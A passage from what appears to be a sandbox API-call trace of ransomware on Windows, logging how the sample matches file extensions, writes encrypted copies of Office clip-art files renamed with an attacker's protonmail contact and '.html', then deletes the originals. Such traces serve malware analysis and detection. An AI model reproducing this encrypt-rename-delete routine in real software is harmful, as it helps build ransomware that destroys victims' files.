	[0070.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0070.952] lstrlenW (lpString=".1cd") returned 4
	[0070.952] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68
	[0070.952] lstrlenW (lpString=".jpg") returned 4
	[0070.952] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.952] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0070.952] lstrlenW (lpString="AN00010_.WMF") returned 12
	[0070.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.953] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3026) returned 1
	[0070.953] CloseHandle (hObject=0x338) returned 1
	[0070.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220
	[0070.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.953] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.953] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.953] GetLastError () returned 0x0
	[0070.953] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xbd2, lpOverlapped=0x0) returned 1
	[0070.966] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xbe0, lpOverlapped=0x0) returned 1
	[0070.967] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.967] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.967] SetEndOfFile (hFile=0x320) returned 1
	[0070.968] CloseHandle (hObject=0x320) returned 1
	[0070.969] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.969] SetEndOfFile (hFile=0x338) returned 1
	[0070.970] CloseHandle (hObject=0x338) returned 1
	[0070.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1
	[0070.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0070.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0070.971] lstrlenW (lpString=".doc") returned 4
	[0070.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0070.971] lstrlenW (lpString=".docx") returned 5
	[0070.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0070.971] lstrlenW (lpString=".pdf") returned 4
	[0070.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0070.971] lstrlenW (lpString=".xls") returned 4
	[0070.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0070.971] lstrlenW (lpString=".xlsx") returned 5
	[0070.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0070.971] lstrlenW (lpString=".ppt") returned 4
	[0070.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0070.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0070.971] lstrlenW (lpString=".zip") returned 4
	[0070.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0070.972] lstrlenW (lpString=".rar") returned 4
	[0070.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0070.972] lstrlenW (lpString=".bz2") returned 4
	[0070.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0070.972] lstrlenW (lpString=".7z") returned 3
	[0070.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0070.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0070.972] lstrlenW (lpString=".dbf") returned 4
	[0070.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0070.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0070.972] lstrlenW (lpString=".1cd") returned 4
	[0070.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0070.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0070.972] lstrlenW (lpString=".jpg") returned 4
	[0070.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0070.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0070.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0070.972] lstrlenW (lpString=".doc") returned 4
	[0070.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0070.972] lstrlenW (lpString=".docx") returned 5
	[0070.972] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0070.972] lstrlenW (lpString=".pdf") returned 4
	[0070.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0070.972] lstrlenW (lpString=".xls") returned 4
	[0070.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0070.972] lstrlenW (lpString=".xlsx") returned 5
	[0070.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0070.973] lstrlenW (lpString=".ppt") returned 4
	[0070.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0070.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0070.973] lstrlenW (lpString=".zip") returned 4
	[0070.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0070.973] lstrlenW (lpString=".rar") returned 4
	[0070.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0070.973] lstrlenW (lpString=".bz2") returned 4
	[0070.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0070.973] lstrlenW (lpString=".7z") returned 3
	[0070.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0070.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0070.973] lstrlenW (lpString=".dbf") returned 4
	[0070.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0070.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0070.973] lstrlenW (lpString=".1cd") returned 4
	[0070.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0070.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0070.973] lstrlenW (lpString=".jpg") returned 4
	[0070.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0070.974] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0070.974] lstrlenW (lpString="AN00790_.WMF") returned 12
	[0070.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0070.982] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=5684) returned 1
	[0070.982] CloseHandle (hObject=0x380) returned 1
	[0070.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220
	[0070.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0070.983] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.983] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0070.984] GetLastError () returned 0x0
	[0070.984] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x1634, lpOverlapped=0x0) returned 1
	[0070.988] WriteFile (in: hFile=0x33c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x1640, lpOverlapped=0x0) returned 1
	[0070.990] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.990] WriteFile (in: hFile=0x33c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.990] SetEndOfFile (hFile=0x33c) returned 1
	[0070.990] CloseHandle (hObject=0x33c) returned 1
	[0070.991] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.991] SetEndOfFile (hFile=0x380) returned 1
	[0070.992] CloseHandle (hObject=0x380) returned 1
	[0070.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1
	[0070.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0070.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0070.993] lstrlenW (lpString=".doc") returned 4
	[0070.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0070.993] lstrlenW (lpString=".docx") returned 5
	[0070.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0070.993] lstrlenW (lpString=".pdf") returned 4
	[0070.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0070.993] lstrlenW (lpString=".xls") returned 4
	[0070.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0070.994] lstrlenW (lpString=".xlsx") returned 5
	[0070.994] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0070.994] lstrlenW (lpString=".ppt") returned 4
	[0070.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0070.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0070.994] lstrlenW (lpString=".zip") returned 4
	[0070.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0070.994] lstrlenW (lpString=".rar") returned 4
	[0070.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0070.994] lstrlenW (lpString=".bz2") returned 4
	[0070.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0070.994] lstrlenW (lpString=".7z") returned 3
	[0070.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0070.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0070.994] lstrlenW (lpString=".dbf") returned 4
	[0070.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0070.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0070.994] lstrlenW (lpString=".1cd") returned 4
	[0070.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0070.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0070.994] lstrlenW (lpString=".jpg") returned 4
	[0070.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0070.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0070.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0070.994] lstrlenW (lpString=".doc") returned 4
	[0070.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0070.995] lstrlenW (lpString=".docx") returned 5
	[0070.995] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0070.995] lstrlenW (lpString=".pdf") returned 4
	[0070.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0070.995] lstrlenW (lpString=".xls") returned 4
	[0070.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0070.995] lstrlenW (lpString=".xlsx") returned 5
	[0070.995] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0070.995] lstrlenW (lpString=".ppt") returned 4
	[0070.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0070.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0070.995] lstrlenW (lpString=".zip") returned 4
	[0070.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0070.995] lstrlenW (lpString=".rar") returned 4
	[0070.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0070.995] lstrlenW (lpString=".bz2") returned 4
	[0070.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0070.995] lstrlenW (lpString=".7z") returned 3
	[0070.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0070.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0070.995] lstrlenW (lpString=".dbf") returned 4
	[0070.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0070.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0070.995] lstrlenW (lpString=".1cd") returned 4
	[0070.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0070.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0070.995] lstrlenW (lpString=".jpg") returned 4
	[0070.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0070.996] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0070.996] lstrlenW (lpString="AN00914_.WMF") returned 12
	[0070.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0070.996] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=10832) returned 1
	[0070.996] CloseHandle (hObject=0x380) returned 1
	[0071.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220
	[0071.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.098] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.098] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0071.108] GetLastError () returned 0x0
	[0071.108] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x2a50, lpOverlapped=0x0) returned 1
	[0071.110] WriteFile (in: hFile=0x38c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x2a60, lpOverlapped=0x0) returned 1
	[0071.111] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.111] WriteFile (in: hFile=0x38c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.111] SetEndOfFile (hFile=0x38c) returned 1
	[0071.111] CloseHandle (hObject=0x38c) returned 1
	[0071.112] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.112] SetEndOfFile (hFile=0x328) returned 1
	[0071.113] CloseHandle (hObject=0x328) returned 1
	[0071.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1
	[0071.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0071.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0071.114] lstrlenW (lpString=".doc") returned 4
	[0071.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.114] lstrlenW (lpString=".docx") returned 5
	[0071.114] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.114] lstrlenW (lpString=".pdf") returned 4
	[0071.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.114] lstrlenW (lpString=".xls") returned 4
	[0071.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.114] lstrlenW (lpString=".xlsx") returned 5
	[0071.114] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.114] lstrlenW (lpString=".ppt") returned 4
	[0071.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0071.114] lstrlenW (lpString=".zip") returned 4
	[0071.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.114] lstrlenW (lpString=".rar") returned 4
	[0071.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.114] lstrlenW (lpString=".bz2") returned 4
	[0071.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.114] lstrlenW (lpString=".7z") returned 3
	[0071.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0071.114] lstrlenW (lpString=".dbf") returned 4
	[0071.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0071.115] lstrlenW (lpString=".1cd") returned 4
	[0071.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0071.115] lstrlenW (lpString=".jpg") returned 4
	[0071.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0071.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0071.115] lstrlenW (lpString=".doc") returned 4
	[0071.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.115] lstrlenW (lpString=".docx") returned 5
	[0071.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.115] lstrlenW (lpString=".pdf") returned 4
	[0071.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.115] lstrlenW (lpString=".xls") returned 4
	[0071.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.115] lstrlenW (lpString=".xlsx") returned 5
	[0071.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.115] lstrlenW (lpString=".ppt") returned 4
	[0071.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0071.115] lstrlenW (lpString=".zip") returned 4
	[0071.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.115] lstrlenW (lpString=".rar") returned 4
	[0071.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.115] lstrlenW (lpString=".bz2") returned 4
	[0071.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.115] lstrlenW (lpString=".7z") returned 3
	[0071.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0071.115] lstrlenW (lpString=".dbf") returned 4
	[0071.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
